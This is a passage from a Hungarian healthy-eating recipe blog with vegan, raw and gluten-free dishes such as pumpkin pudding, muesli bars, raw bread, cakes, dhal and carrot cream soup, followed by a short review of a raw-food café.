öntsük le a kölesöntettel. - Tegyük be a sütőbe, és mintegy 30 perc alatt süssük össze.
Narancsos sütőtök puding
2015. február 16. Éltető ételek
Már van az oldalon egy másik tökpuding, csak az sárgabarackos. Itt a narancs kellemesen savanykás ízével varázsoltam harmóniát. Hozzávalók (2 adag): - 20 dkg tisztított sütőtök - 1/2 kisebb narancs leve - 1-2 csepp narancsolaj - 1/2 kávéskanál vaníliapor - 2-3 evőkanál kölesliszt - ízlés szerint édesítésre: juharszirup vagy méz - díszítésre: dió, piros gyümölcs - csipet só Elkészítése: A sütőtököt kockázzuk fel, majd éppen annyi vízbe főzzük meg, amennyi ellepi. Amikor megfőtt, botmixerezzük, majd ha szükséges, egy kevéske vizet (vagy pl. kókusztejet) öntsünk hozzá. Szórjuk hozzá a köleslisztet, főzzük meg. Adjuk hozzá az édesítőszert is. A végén csavarjunk bele egy fél narancs levét, és pár csepp narancsolajat cseppentsünk bele. Szedjük ki tálkákba, majd szórjunk a tetejére kevés diót, majd díszítsük piros gyümölccsel.
Kókuszkrémes zabkása fahájas pirított dióval
2015. február 15. Éltető ételek
Egy hirtelen "felindulásból" született ez a recept. A minap készítettem kókuszkrémes piskótaszívet, és még maradt egy kevéske kókuszkrém a doboz aljában. Így belekevertem ezt a finomságot a kásába, ez lett belőle. Hozzávalók: - 1/2 bögre zabpehely - 1,5 bögre víz, növényi tej keverék - 1/2 mokkáskanál ceyloni fahéj - 1/2 mokkáskanál vaníliapor vagy házilag készített vaníliacukor - 1 marék dió - 1 alma - kókuszvirágcukor - 2-3 evőkanál cocomas kókuszkrém Elkészítése: Egy lábasba tegyük fel főni a növényi tejes vizet. Adjunk hozzá egy csipet sót, vaníliát és fahéjat. Amikor fő a víz, öntsük bele a zabpelyhet. Kb. 10 perc alatt jó tejberizs állaga lesz, és megpuhul a zabpehely is.Vegyük le a tűzről, és keverjük bele a kókuszkrémet. Ha szükséges, édesítsük akár datolyavajjal vagy mézzel/kókuszvirágcukorral.Közben a diót törjük kis darabokra, és száraz serpenyőben pirítsuk meg. Szórjunk rá úgy 1 teáskanál kókuszvirágcukrot, fahéjat, majd keverjük hozzá a kis kockára vágott almát is.Egy tálkába tegyük az almás-dió felét, majd a kókuszos zabkása és a tetejére ismét az almás dió.
Kókuszkrémes piskótaszív
2015. február 13. Éltető ételek
Hát... nem tudom mi van velem, de az elmúlt napokban mindig a szív forma került a kezembe. Mindenesetre ez is nagyon finom, és univerzális. Ugyanis a tejszínkrém ízesítése sokféle lehet, de akár baracklekvárral is ehetjük. Hozzávalók: - 8 dkg bio vaj vagy kókuszolaj - 15 dkg méz vagy juharszirup - 2 evőkanál cukrozatlan kakaópor - 1 bio vagy házi tojás - 2 dl növényi tej (én most az Isola rizstejet használtam) - 1/2 mokkáskanál vaníliapor - 1 teáskanál szódabikarbóna - 25 dkg teljeskiőrlésű tönkölyliszt - csipet só Töltelék: - 2 dl tejszín (a Cserpest ajánlom, mert jól fel lehet verni) vagy kókuszkrém - 1-2 teáskanál kókuszvirágcukor - vaníliapor - gesztenyés töltelék esetében: natur, cukrozatlan gesztenye és pár csepp gyógybor (rum helyett) vagy 1-2 csepp narancsolaj - gyümölcsös töltelék is lehet: pl. kókuszkrém és málna Elkészítése: - A puha vajat, a mézet és a tojást verjük fel jó laza állagúra. - Keverjük hozzá a szódabikarbónát és a vaníliaport. - Öntsük hozzá a tejet és a lisztet. Egy piskóta állagú tésztát kapunk. - Egy tortaformába öntsük bele, és előmelegített sütőben 180 fokon süssük meg. Kb. 30 perc alatt megsül. - Hagyjuk teljesen kihűlni. - Óvatosan szaggassuk ki a kívánt formára. De akár a kész tortát egyben meg is tölthetjük. - A tejszínt verjük fel, a kókuszkrémen is lazítsunk egy kicsit. Adjuk hozzá a kókuszvirágcukrot és a vaníliaport. - A kimaradt tésztadarabkákat tegyük ehhez a tejszínhabhoz, lazán forgassuk össze. - A szív formákat vízszintesen vágjuk ketté, és töltsük meg a tésztás tejszínkrémmel. BABAKONYHA TIPP: Az 1 éves szülinapra nyugodtan elkészíthetjük.
Gyors padlizsánkrém kicsit másképp
2015. február 13. Éltető ételek
Ritkán szoktam padlizsánt venni, de most nagyon ráéheztem erre a padlizsánkrémre. Így a padlizsán feléből ez a krém készült, a másik fele pedig a töltött burgonyahajóba került. Fincsi volt mind a kettő. A chili nyugodtan elhagyható, én szeretem a csípős ételeket. Tortilla chipsel vagy akár kenyérre kenve is fogyaszthatjuk. Hozzávalók (1 adag): - 1/2 padlizsán - 1 szép nagy szelet kápia paprika - 2 újhagyma - 1-2 gerezd fokhagyma - só, bors, chili - kókuszolaj Elkészítse: A padlizsánt mossuk meg, majd a héjával együtt szeleteljük fel úgy 3 mm vastagra. Kb. 5 szeletet használtam fel ehhez az adaghoz.Egy serpenyőben hevítsünk fel 1 evőkanál kókuszolajat, majd tegyük bele a padlizsánt. Úgy 4-5 perc alatt, lassú tűzön pirítsuk meg mindkét oldalát egy kicsit. Ezidő alatt át is puhul a padlizsán. Ugyancsak egy kevéske olajon pirítsuk meg a kápia paprikát is. A héja egy picit meg is barnulhat, és meg is puhul.Szedjük ki a serpenyőből, majd ismét tegyünk bele úgy 1 teáskanál mennyiségű kókuszolajat. A kis kockára vágott újhagymát és a reszelt fokhagymát úgy 1 percig pirítsuk.Mindent tegyünk egy edénybe, és botmixerezzük össze annyira, amennyire akarjuk homogénné, vagy éppen egy kicsit darabossá. Fűszerezzük, só, bors, chili.Jó étvágyat.
Narancsolajos-csokis müzliszelet 1.0
2015. február 9. Éltető ételek
Müzlit már készítettem aszalóban, mely elkészítése legalább 12 órát vesz igénybe. Nos, ez egy jóval egyszerűbb recept, mivel ez sütőben süthető. Az 1.0 a verziószámra utal, mert biztos vagyok benne, hogy lesznek még próbálgatások, változtatások rajta. Nem mintha ezzel a verzióval gond lenne, nagyon finom lett, csak egy kicsit nehézkes a szeletelése. Jól le kell hűteni, valamint legközelebb vékonyabbat fogok készíteni. Ez majdcsak 2 cm-es lett, míg a bolti társai olyan 1 cm vastagságúak. Az eredeti recept 40 dkg mézet írt, én rögtön lecsökkentettem ezt a felére, de nekem még így is egy kicsit édes lett. Hozzávalók: - 10 dkg kókuszreszelék - 10 dkg aprószemű zabpehely - 10 dkg dió - 10 dkg napraforgómag - 5 dkg szezámmag - 5 dkg tökmag - 20 dkg méz - 12 dkg bio vaj - fahéj, vaníliapor - narancsolaj - tetejére: fél tábla 70%-os keserűcsoki felolvasztva, 3-4 csepp narancsolaj Elkészítése: - A száraz összetevőket keverjük össze egy tálba. - Olvasszuk össze a mézet a vajjal, majd fakanállal jó alaposan keverjük a magokhoz. - Egy sütőformába tegyünk egy zsírpapírt, majd jó alaposan nyomkodjuk bele a masszát. Nekem ez 2 cm vastagságúra sikeredett, de lehet ennél vékonyabb is. - Melegítsük elő a sütőt 180 fokra, majd süssük meg a müzlit. Légkeverés nélkül, hogy 20 perc alatt pirulni kezd a teteje. Figyeljünk rá, hogy ne égjen meg! - Hagyjuk teljesen kihűlni, majd még a hűtőbe is betehetjük, hogy jól összeálljon. - Közben vízgőz felett olvasszuk fel a csokit, és cseppentsük bele a narancsolajat. Ezt kenjük a müzli tetejére. - ismét tegyük be a hűtőbe, hogy a csoki jól rádermedjen. - Szeleteljük fel kívánt méretre.Igazi finom uzsonna nemcsak gyerekeknek.
Kókuszlisztes, barna köleslisztes aszalt, magvas nyers kenyér
Több nyers kenyeret, krékert készítettem már. Zöldségekből, magokból… stb.
Mostanában próbálom a túlzottan lenmagos, útifű maghéjas ízt kiküszöbölni, ezért kísérletezem többféle nyers, aszalt kenyérrel.
A nyers hamburgeremhez készült zsemle is csodás, ízre nagyon finom, bátran ajánlom.
Most egy zöldségmentesebb verziót teszteltem, jól sikerült, ezért megosztom ezt is.
Hozzávalók: 60 gramm barna kölesliszt (gluténmentes, és lehet nyersen felhasználni), 20 gramm útifű maghéj, 40 gramm kókuszliszt (száraz, zsírtalanított változat), 2 evőkanál őrölt arany lenmag, 2 evőkanál napraforgómag, 1 evőkanál szezámmag, 1 evőkanál kendermag, 1 evőkanál tökmag, 3 csipet só, 1 db reszelt alma, 230 ml víz
Elkészítés: A száraz hozzávalókat, liszteket, magokat összekeverjük egy tálban, megsózzuk, hozzáreszelünk egy almát, és hozzátesszük a vizet, majd összegyúrjuk. Gyúrható masszát kell kapnunk. Egy kicsit várunk, míg a lenmag és útifű maghéj megszívja magát vízzel, megduzzad és összefogja a masszát.
Ezután kenyércipóvá formázzuk, majd kb. 0.7 mm vastag szeletekre felszeleteljük. Az aszaló lapjára tesszük, és alacsony hőfokon megaszaljuk. Néhány óra alatt készen van. Nem kell túlságosan keményre aszalni, csak ha “pirítóst” szeretnénk belőle.
Lehet belőle finom szendvicseket készíteni!
Jó étvágyat!
A még aszalatlan nyers massza cipó formában:
Az aszaló tálcáján:
A megszáradt, aszalt, kész változat:
Valentin-napi torta
A szeretet saját készítésű tortába öntve. (Oké, ez egy karácsonyi sütemény remake-je :) ) Nem lehet elég korán készülni akár gondolatban is a szerelmesek világnapjára (még kerek 10 nap van addig). Lehet az ember akár 10 éves házas (én ugyanis az vagyok), de a szerelem akkor is igen virágzó tud lenni, különösképpen, ha "lángjai tűznek lángjai, az Úrnak lángjai". Persze sokan vannak, akik lényegesen rövidebb vagy sokkal hosszabb ideje örülhetnek egymásnak. Ez a vegán torta minden szerelmesnek finom ajándék lehet, legyen az egy frissebb vagy egy régóta tartó meghitt kapcsolat. Készítsük el meglepetésként szívünk párjának! :)
A recept
Hozzávalók:
A torta tésztája:
- 1 bögre liszt (1/3 része teljes kiőrlésű, 2/3 része fehér liszt
- 1 teáskanál szódabikarbóna vagy foszfátmentes sütőpor
- 1 evőkanál édesítő (kókuszvirág-cukor/gyümölcscukor/nyírfacukor, stb)
- 1 evőkanál karobpor vagy kakaópor
- 1/2 vanília belseje
- 2 evőkanál napraforgó olaj
- kb 1 bögre víz
Elkészítés:
Először a száraz alapanyagokat keverjük össze (liszt, szódabikarbóna/sütőpor, édesítő, karob por, vanília kikapart belseje), annyi vizet öntünk hozzá, ami által piskóta-szerű tésztát kapunk. Ekkor keverünk hozzá még egy kevés olajat. Kb. 20 perc alatt készre sütjük a sütőpapírral kibélelt szív-formában. A megsült tésztát kiszedjük a formából, s miután kihűlt, kettévágjuk, megtöltjük a sütés közben elkészített krémmel. A torta szélét is megkenjük ezzel a krémmel. Karobos/kakaós csokiszószt kanalazunk a tetejére, végül kókusszal megszórjuk az oldalát. Hidegen tároljuk néhány órát vagy egy éjszakát, majd fogyasztható is. Ha marad még krém, a tetejét akár a képen látható módon is díszíthetjük.
Kókuszos krém:
- 1/2 liter rizstej (rizstejpor - gazdagon - és víz, vagy dobozos rizstej, vagy saját készítésű risztej)
- 10 dkg kókuszreszelék
- vanília belseje
- reszelt citromhéj
- 3-4 evőkanál édesítő (kókuszvirág-cukor/gyümölcscukor/nyírfacukor, stb)
- 2-3 evőkanál kukoricakeményítő
- 3 evőkanál lágy kókuszzsír
A krém elkészítése:
A rizstejet feltesszük főzni, és elkeverjük benne a lereszelt citrom héját, a kikapart vaníliát, a kókuszreszeléket és az édesítőt. A kukoricakeményítőt kb. 1/2 dl vízzel simára keverjük, és a rizstejhez keverjük folyamatos keverés közben. Miután besűrűsödött, mint a puding, levesszük, és langyosra hűtjük. Mielőtt kihűlne, beletesszük a kókuszzsírt. Egy kevés frissen facsart citromlevet is adhatunk hozzá.
Csokimáz:
- 2 evőkanál karobpor vagy kakaórpor
- 2 evőkanál édesítő (kókuszvirág-cukor/gyümölcscukor/nyírfacukor, stb)
- 2 evőkanál kókusz zsír
- 3-4 evőkanál növényi tej
A máz elkészítése:
A kókuszzsírt megolvasztjuk, beleszórjuk a karobport, vagy kakaópor, hozzáadunk ízlésünknek megfelelő mennyiségű édesítőt (nádcukor, nyírfacukor, stb.) Alacsony lángon forráspontig keverjük, majd növényi tejet is hozzáadunk. Addig kevergetjük, míg újra forrni kezd, lezárjuk, kihűtjük, majd a sütemény tetejére kenjük.
Gránátalmás - zöldcitromos krémes álom
Ezzel a tortával neveztem A Nyers Kihívás versenyére. Próbáltam olyan tortát készíteni ami lúgosító hatású, és csak kevés gyümölcscukrot tartalmaz....szerettem volna, hogy szép színes legyen, amilyenek általában az élő ételek, na meg krémes- habos...sajna este fotóztam, így a kép minősége nem az igazi, de készítsétek el Ti is és nézzétek meg mennyire szép színes, és finom krémes...! :) Gránátalmás - zöldcitromos krémes álom: Az alap: 130 gramm mandulapép 30 gramm kókusz lisztté őrölve 9 csepp stevia 4 evőkanál kakaópor kiskanál fahéj késhegynyi vanília 1 citrom reszelt héja csipet só ha szükséges pici víz vagy mandulatej Krém: 2 avokádó 2 banán 7 evőkanál kókuszzsír 2 zöldcitrom leve 10 csepp stevia Krém felét megszínezni, 2 marék gránátalma leve, 1 szelet cékla leve Dísz: gránátalma és kivi Elkészítés: Mandulatejet készítettem, beáztatott mandulát turmixoltam vízzel. Ezt leszűrtem, kinyomkodtam mosózacskóban, majd a mandulapépből kimértem 130 grammot. Ehhez kevertem a többi hozzávalót. Kicsit száraz volt, nem állt össze olyan szépen, így még öntöttem hozzá 2 evőkanál mandulatejet. A kapott masszát csatos forma aljára nyomkodtam. Felszeltem a kivit a forma szélére helyeztem. Turmixgépbe dobtam a krém hozzávalóit, kivéve a gránátalma és a cékla levét. A zöld krém felét beleöntöttem a formába, a maradékot turmixoltam, a piros lével, majd ezt a torta tetejére kentem. Hűtőben pihent 1- 2 órát. Megszórtam gránátalma maggal majd megettem. Ez egy lúgosító torta, kevés gyümölcscukorral. A stevia miatt nagyon kellemes, nem az a tipikus édes sütemény. Aki jobban szereti édesen, használhat, datolyát, vagy mézet a stevia helyett. Egészségetekre! smile hangulatjel
"10-es pizza" - liszt nélkül
2015. február 2. Mindennapi ételeink
Nem volt kedvünk ismét tésztás pizzát enni, ezért készült ez a gluténmentes változat. Azért 10-es, mert szinte mindenből 10 kg szükséges hozzá. Hozzávalók - 1 pizzához: 10 dkg kölesliszt 10 dkg barna rizs liszt 10 dkg zabpehelyliszt 10 dkg kókuszzsír 10 dkg szezámmag, lenmag - vegyesen víz - amennyit felvesz himalaya só -- 1 üveg pizzaszósz 10 dkg kidney bab 10 dkg kukorica 1 fej lilahagyma 1 paradicsom 1/2 fej brokkoli 10 dkg Violife növényi sajt bazsalikom Elkészítés: A liszteket összekevrjük, hozzáadjuk a sót, a megdarált lenmag-és szezámmagot, a megolvasztott kókuszolajat és annyit vizet öntünk hozzá, hogy össze tudjuk gyúrni. Egy olajjal megkent, zabpehelyliszttel megszórt tepsibe simítjuk. Rákenjük a szószt, rászórjuk a babot, kukoricát, felkarikázott hagymát, a nyers brokkolit, a paradicsomot és a reszelt növényi sajtot. 200 fokon kb. 20 perc alatt összesütjük.
Savanyúkáposztás, vegán krumplisaláta
2015. január 30. Éltető ételek
Ez a saláta, vagy éppen köret hidegen, melegen egyaránt finom. Télen egyszerűen imádom a savanyúkáposztát, gyakran kerül az ételeimbe. A receptben a krumpli és a káposzta aránya körülbelül megegyezik. Tehát 1 csésze felkockázott krumplihoz úgy 1 marék káposztát tegyél. Hozzávalók: - héjában főtt krumpli felkockázva - házilag készített savanyúkáposzta - lilahagyma, újhagyma kedved szerint akár vegyesen is - metélőhagyma - 1-2 evőkanál olívaolaj - só, bors Elkészítése: - Hideg változat: Mindent jól keverj össze. - Meleg változat: A kókuszolajon picit megdinszteljük a hagymát, majd rádobjuk a krumplit 1-2 percig együtt sütjük, de vigyázzunk, hogy egybe maradjon a krumpli. A végén adjuk hozzá a káposztát. Pár pillanat még a tűzön, fűszerezzük, és kész is.
Szezámos trüffel
2015. január 26. Éltető ételek
Hűű, hogy ez milyen finom. Nem édes émelyítően, és a pirított szezámmagnak és a napraforgómagnak van egy jellegzetes íze, ami különlegessé teszi. Tehát, ha szereted a pirított szezámmagot, akkor készítsd el. Hozzávalók: - 10 dkg zabpehely (ledarálva) - 3 dkg cukrozatlan kakaópor - 3 dkg hántolatlan szezámmag - 5 dkg napraforgómag - 10 dkg juharszirup - 10 dkg áztatott, szárított dió - 2 evőkanál kókuszliszt - 1/2 kávéskanál vaníliapor - 1 mandarin leve - csipet só Elkészítése: Én nem daráltam le előre a zabpelyhet, csak a késes darálóba vágattam össze a többi alapanyaggal. Viszont legközelebb ledarálom, mert akkor nem lesz kemény. Bár a mandarin leve puhított rajta így is.A szezámmagot és a napraforgót száraz serpenyőben pirítsuk meg, úgy 1-2 perc alatt készen is van.Minden tegyünk a konyhai robotgépbe, és készítsünk belőle egy homogén masszát.Formázzunk golyókat belőle. Kedvünk szerint megforgathatjuk kakaóporba vagy akár kókuszba is. De enélkül is finom
Vegán mogyorós banános palacsinta + egy új élet kezdete
2015. január 26. Zizi kalandjai
Már csütörtök óta készülök ezt a bejegyzést megírni, de aztán mindig a lustaság győzött és hagytam a blogot pihenni. Mondhatom életem legjobban sikerült, puha, vastag palacsintáit láthatjátok a fenti fotón. Még karácsonykor sütöttem a családnak reggelire. Tojás és tejtermék nélkül is olyan isteni puha palacsintákat lehet sütni… legszívesebben ezeket enném egy hónapon át minden reggel. Én pirított darált mogyoróval váltottam ki a liszt egy részét, de lehet mandulát is beletenni, vagy bármilyen más finomságot: diót, kesudiót. A pirítás ad egy kis plusz ízt neki, érdemes azt a pár percet rászánni, amíg megpirulnak a mogyoró szemek.
Ja, és az új élet. Csütörtök óta a fogszabályzósok táborát erősítem. Nem álltak soha durván szanaszét a fogaim, de már kb. tíz éve amerikai mosolyról álmodozok, hogy egyszer nekem is lesz olyan fogsorom, amikor telibe vigyorogva az objektívet vállalom magam és a fogsoromat is. Tettem is lépéseket az ügyben, de aztán az évek során idén januárig kellett várni, hogy elindítsam a fogsoromat az álmai útján. Egyelőre felülre került fel a szabályzó és majd két hónap múlva kapom meg az alsót. Jó is így, mert még mindig szoknom kell azt, hogy evéskor ne zavarjon, hogy azt érzem, a kaja fele a fogaimon és a szabályzón landolt. Meg nagyot harapni se tudok, meg rágni se nagyon – ez az emésztésemnek nem tesz jót -, de ezeket idővel majd megszokom és pár hónap múlva észre se fogom venni, hogy fent vannak. Ugye? Kérem, erősítse ezt meg, akinek van/volt fogszabályzója!
Még valami. Aki még nem látta a Sráckor (Boyhood) című filmet, az feltétlen nézze meg. A filmtörténelem hihetetlen eddig még így soha nem forgatott alkotása! Zseniális mű! A zenéje is nagyon fülbemászó!
Vegán mogyorós banános palacsinta
Hozzávalók 10-12 db-hoz:
– 2 banán, villával pépesre törve
– 50 g törökmogyoró, száraz serpenyőben megpirítva, majd ledarálva
– 100 g tönköly fehérliszt
– 200 ml rizs- vagy mandula- vagy zabtej
– 1 evőkanál foszfátmentes sütőpor
– 1 vaníliarúd kikapart magjai
– csipet só
– kókuszzsír, sütéshez
Egy tálban keverjük össze a száraz hozzávalókat: mogyoró, liszt, sütőpor, só. Egy másikban pedig a nedves hozzávalókat: pépesre tört banánok, rizstej, vanília. Öntsük a nedves hozzávalókat a szárazhoz és keverjük addig, amíg sima, sűrű tésztát kapunk. Hagyjuk 5 percet állni, hogy a tészta megkeljen.
Tegyünk egy kevés kókuszzsírt a teflonserpenyőbe és forrósítsuk fel. Kisebb adagot kanalazunk (2 adag is mehet egyszerre) a palacsinta tésztából a serpenyőbe, közepes lángon sütjük az egyik oldalukat, amíg aranybarnák lesznek. Megfordítjuk és a másik oldalukon is sütjük 1-2 percig.
Lehet juharszirupot, mézet locsolni a tetejére, de mi így magában ettük – a banánok elég édessé teszik.
Almás pite nyersen
Almás pitét még nem készítettem nyersen, csak reformosan, teljes kiőrlésű lisztből, természetesen sütve.
Most nyersen is kipróbáltam. Nagyon egészséges alapanyagokból készült, rostdús nyers desszert. Bátran ajánlom.
Hozzávalók:
Alap”tészta”: 20 db aszalt datolya (felhasználás előtt áztassuk be, az áztató vizet öntsük le, vagy mossuk meg alaposan), 1 dl víz, 40 gramm darált dió, 20 gramm barnaköles liszt, 20 gramm kókuszliszt (zsírtalanított), 20 gramm útifű maghéj.
Töltelék: 4 db alma, fahéj, 1 evőkanál méz (vagy más növényi szirup) + 1 evőkanál eritritol (illetve édesítés ízlés szerint), 1 evőkanál útifű maghéj
Elkészítés:
- “tészta”: a datolyát az 1 dl vízzel botmixerrel krémesre turmixoljuk, majd hozzáadjuk a többi hozzávalót: a darált diót, a barnaköles lisztet, a kókuszlisztet és az útifű maghéjat. Gyúrható masszává dolgozzuk össze.
Két részre szedjük, egyikből lesz a pite teteje, a másikból az alja.
Az egyik részét egy kapcsos forma aljába nyomkodjuk. Erre helyezzük a tölteléket:
Az almát lereszeljük, majd picit kinyomkodjuk a levét. Fahéjjal, mézzel, eritritollal édesítjük, majd az alsó masszára helyezzük. A felső “tésztát” is ugyanakkorára nyújtjuk, mint az alja, és rátesszük az almás rétegre.
Picit a hűtőszekrénybe tesszük, hogy dermedjen, szeletelhető legyen.
Néhány percen belül már fogyasztható is. Ízlés szerint díszíthető is (én dióval, goji bogyóval, és pici darált eritritollal szórtam meg).
Jó étvágyat!
Kókusztejszínes dhal
Az idetévedő laikus egyed most úgy érezheti magát, mint az a 7 éves kiskölök, aki a karácsonyfa alatt megleli a Nintendós dobozt, majd amikor kibontja, akkor szembesül vele, hogy a vicces kedvű szülők abba gyömöszölték bele a rénszarvasos szvettert. Tudniillik, ha nagyon leegyszerűsítjük a dolgot, a szóban forgó étel népies neve: LENCSEFŐZELÉK. Szó se róla, nagyon távolról rokonságot ápol azzal a borzembrióból és sakálnyálból erjesztett barna rettenettel, melyet az óvodai vérdadus próbált meg letuszkolni a torkunkon. Sőt, ha objektíven nézzük, köze nincs hozzá. Mint a tradicionális magyar főzelékek esküdt ellensége, bátran mondhatom, hogy ennél finomabb ételhez (és ez globálisan, sőt, két tejútrendszer között értendő) csak igen ritkán volt szerencsém.
Alkatrészek:
25 dkg vöröslencse 1 fej vöröshagyma 3 gerezd fokhagyma 1 kiskanál őrölt gyömbér vagy 1 cm-es lereszelt gyömbérgyökér 2 kiskanál őrölt kömény 2 kiskanál garam masala 1 kiskanál mustármag 1 kiskanál kurkuma 1 kiskanál görögszéna 1 kiskanál őrölt chili 1 kiskanál őrölt korriander 3 dl kókusztejszín vagy sűrű kókusztej (pl. ez a fajta különösen javallott) 400 g konzervparadicsom 1 citrom leve só A vöröshagymát felkockázzuk és a belenyomott fokhagyma társaságában olajon megdinszteljük. Hozzáadjuk a gyömbért, a köményt és a mustármagot, és jó két percig együtt pároljuk jó két percig. Egy kevés víz után belepasszítjuk a garam masalát, a görögszénát, a kurkumát, a koriandert és a chilit. Ezt a vegyületet pár percig kevergetjük, majd belelöttyintjük a kókusztejszínt, a konzervparadicsomot és 1 dl vizet. Mivel egy marék rajzszeg hamarabb puhul meg, mint a vöröslencse, így gyakori kevergetés mellett kb. 15-20 percig főzzük. Legvégül hozzáadjuk a citromlevet és a sót, majd álmélkodva szervezetünkbe juttatjuk.
Mandarinos gyömbéres sárgarépa krémleves (tökmaggal)
Ezeken a hideg téli estéken nagyon jól esik elkanalazgatni egy-egy meleg, tápláló, energiadús krémlevest. Sokféle zöldségből készíthetünk levest, még olyanból is, amit amúgy nem igazán szeretünk. ;-) A megfelelő ízesítéssel, a számunkra nem éppen kedves zöldségből is ízletes krémlevest készíthetünk. Nekem ilyen zöldség a spárga, amiért egyáltalán nem rajongok, de krémlevesként nagyon szívesen megeszem. A későbbiekben ezt a receptet is megosztom veletek! :-) Korábban megismerkedhettetek ezen a blogon a zellerkrémlevessel, és most nézzünk egy népszerűbb zöldséget, a sárgarépát. Nem tudom, ti hogy vagytok vele, de nekem szinte mindig van itthon sárgarépa. Néha, ha valami édesre, nyersre és frissre vágyom, csak úgy előkapok egyet, és elrágcsálom. Sőt! Előfordul, hogy a munkába is viszek magammal! :-) Meghámozom, lekarikázom (épp, hogy akkora legyen egy falat, ami diszkréten befér a számba), és amikor munka közben megkívánok valami édeset, lédúsat, és energiával telit, csak bekapok pár narancssárga répa karikát. :-o Először furcsán néztek rám a kollegáim, de ma már ők is szívesen nassolnak a répáimból. :-) Mandarinos gyömbéres sárgarépa krémleves "Nem újdonság, ha azt mondom, hogy a sárgarépa magas béta-karotin tartalmának köszönhetően, jelentős antioxidáns, így a szabad gyökök károsító hatásával szemben véd. A szervezet a béta-karotint szükség szerint A-vitaminná alakítja át, mely fontos a jó látás és a nyálkahártyák egészsége szempontjából. A vitamin hiánya esetén már napi egy sárgarépa is elegendő lehet a szürkületi látás helyreállításához. A legtöbb zöldségfélével ellentétben, a sárgarépa főzve táplálóbb, mint nyersen! Karotinpótlással javítható az immunválasz, jelentősen nő a fehérvérsejtek száma, aktivitása... Kísérletek szerint a napi 15 mg béta-karotint tartalmazó sárgarépa fogyasztása erőteljesebben növeli a fehérvérsejtek számát és aktivitását, mint az ugyanilyen mennyiséget tartalmazó szintetikus béta-karotin... Egyes vizsgálatok szerint azoknál a népcsoportoknál, amelyek étrendjében sok a karotionoidban gazdag gyümölcs és zöldség, kisebb a daganatos megbetegedések, különösen a tüdőrák aránya... Az étrendi béta-karotinról kimutatták, hogy nagy mennyiségben csökkenti a hámeredetű tüdő-, bőr-, méhnyak-, légúti, gyomor- és vastagbéldaganatok számát... Kutatók összehasonlítva a korpa, a káposzta, az alma meg a sárgarépa bélműködésre kifejtett hatását arra jutottak, hogy 1 kiló főtt sárgarépa rosttartalma a székletet puhította, és mennyiségét megduplázta. Ez a hatása a vastagbélrák kialakulásának megelőzésében is szerepet játszhat... Kutatások szerint napi két (20 dkg) nyers sárgarépa, a benne lévő oldható rostoknak köszönhetően átlagosan 11%-kal csökkenti a vér koleszterinszintjét." Forrás: http://www.vital.hu Úgy tűnik érdemes gyakran készítenünk ételeket, ebből az egész évben beszerezhető finom zöldségből! ;-) Főzzünk ezúttal mandarinos gyömbéres sárgarépa krémlevest! Citromos gyömbéres sárgarépa krémleves HOZZÁVALÓK (kb. 4 főre) : - 1/2 fej vöröshagyma - 2-3 gerezd fokhagyma - 1 tk kókuszzsír / extra szűz olívaolaj - 5-6 közepes sárgarépa (lehetőleg bio gazdaságból származó, nitrátmentes) - 1 marék friss petrezselyem - 1 (bio) leveskocka - Himalája só, frissen őrölt fekete bors - víz - 1 tk frissen reszelt gyömbér - 1/2 tk őrölt szerecsendió, egy késhegynyi fahéj - 1/2 érett Avokádó - 2 közepes mandarin - tökmag levesbetétnek (tészta helyett) citromos gyömbéres sárgarépa krémleves ELKÉSZÍTÉS:A fél fej vöröshagymát és a 2-3 gerezd fokhagymát meghámozzuk, majd apróra vágva kevés kókuszzsíron megpirítjuk. A répákat miután meghámoztuk, kb. kockacukor méretű kockákra feldaraboljuk, majd egy kicsit lepirítjuk a kókusz olajos hagymán. Az egészet felöntjük bő vízzel, úgy, hogy kb. háromszor annyi víz legyen rajta, mint ameddig a répa kockák érnek. (1/4-ed, 3/4-ed arányban.) Mehet bele a leveskocka, a só, a bors, és a friss petrezselyem. Fedő alatt puhára főzzük kb. 40 perc alatt közepes lángon. Miután puhára főtt a répa, belereszeljük a friss gyömbért, hozzáadjuk az őrölt szerecsendiót, és a fahéjat. Belekockázunk egy fél érett avocádót, és két közepes mandarint (magmentesen). Majd az egészet kézi botmixerrel krémessé varázsoljuk, és mégegyszer összeforraljuk a hozzávalókat. Ha úgy érezzük, hogy túl sűrű a leves, akkor engedjünk még hozzá vízet. Tört tökmaggal tálalhatjuk az ízletes és meleg levest! Mandarinos gyömbéres sárgarépa krémleves Testünket melegséggel átjáró Jó étvágyat kívánunk hozzá! ;-) Megjegyzés1: Biztosan feltűnt, hogy a képen citrom is van, de a receptben nem teszek róla említést. Ez azért fordulhat elő, mert amikor a kép készült, nem volt otthon mandarinom, így kipróbáltam citrom lével, és így is nagyon finom lett. Így inkább savanykás a leves, míg a recept szerinti mandarinos, inkább egy édeskés télies fűszerezésű változat. Próbáljátok ki mindkettőt, mert mindkét változat nagyon finom! :-) Megjegyzés2: Ha már "hol a hiba?" című játékot játszunk, azt is észrevehettétek, hogy a magok sem tökmagok a képen. Nem, mert az sem volt akkor éppen otthon, viszont helyette került bele fenyőmag, és napraforgó mag. Tehát a képen látható leves valójában egy gyömbéres citromos sárgarépa leves fenyőmaggal! :-D
Teszt: Naspolya Nassolda
2015. január 16. Zizi kalandjai
Naspolya Nassolda, hallottatok már róluk? Végre decemberben megnyílt a nyers nasizó! Egyszerű, letisztult, talán kicsit skandinávos dizájn fogad bennünket. A fehér szín van kombinálva natúr fa elemekkel, egy kis szürkével és sárgával. Nekem nagyon tetszik.
De lássuk a nasikat, amelyek nyersek, tej-, tojás- és gluténmentesek, ráadásul az alapanyagok egy része bio minősítésű; amit lehet azt a Csörsz utcai biopiacon szerzik be magyar termelőktől (pl. szezonális gyümölcsök: alma, körte). Minden nyers – ami azt jelenti, hogy 42 fok a legmagasabb, amellyel alapanyagot hőkezelnek – a tortáktól kezdve, a kekszekig, krékerekig, müzli szeletekig és datolya golyókig.
Igyekszenek követni a szezonalitást, most éppen sütőtökös, almás nyers tortáik vannak, amelyeken kívül valami extra is megtalálható mindig a pultban. Mi kettőt teszteltünk a tonkababos csokoládétortát és a mákos citromtortát – mindkettő kiállta a próbát. Nem hagytuk ki friss pörkölésű (bio, fair trade) kávéjukat sem, amelyet saját készítésű mandulatejjel (és kókuszcukorral) kínálnak. A karobos, narancsos és tonkababos datolya golyók pedig Ádi tetszését is elnyerték. Nem volt elég három darab, repetázott belőlük.
